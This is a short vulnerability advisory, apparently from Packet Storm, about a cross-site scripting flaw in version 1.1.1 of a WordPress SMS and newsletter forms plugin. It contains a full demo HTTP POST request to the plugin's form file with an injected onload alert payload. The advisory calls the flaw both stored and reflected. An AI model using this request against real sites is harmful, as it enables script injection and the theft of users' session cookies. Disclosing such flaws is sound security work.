WordPress Smart Marketing SMS And Newsletters Forms 1.1.1 XSS

2017-12-05T00:00:00
ID PACKETSTORM:145217
Type packetstorm
Reporter Ricardo Sanchez
Modified 2017-12-05T00:00:00

Description

                                        
                                            `Class Input Validation Error  
Remote Yes  
  
Credit Ricardo Sanchez  
Vulnerable Smart Marketing SMS and Newsletters Forms 1.1.1  
  
Smart Marketing SMS and Newsletters Forms is prone to a stored cross-site  
scripting vulnerability because it fails to sufficiently sanitize  
user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the  
browser of an unsuspecting user in the context of the affected site. This  
may allow the attacker to steal cookie-based authentication credentials and  
to launch other attacks.  
  
To exploit this issue following steps:  
The XSS reflected because the value url is not filter correctly:  
  
  
Demo Request POST:  
  
POST  
/wordpress/wp-content/plugins/smart-marketing-for-wp/admin/partials/custom/egoi-for-wp-form_egoi.php  
HTTP/1.1  
Host: localhost  
Cache-Control: max-age=0  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36  
Upgrade-Insecure-Requests: 1  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: es-ES,es;q=0.9  
Cookie:  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 29  
  
url="" onload="alert('XSS')">  
`